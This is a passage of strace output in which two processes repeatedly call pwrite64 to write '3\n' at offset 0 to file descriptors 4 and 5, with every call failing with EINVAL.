[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
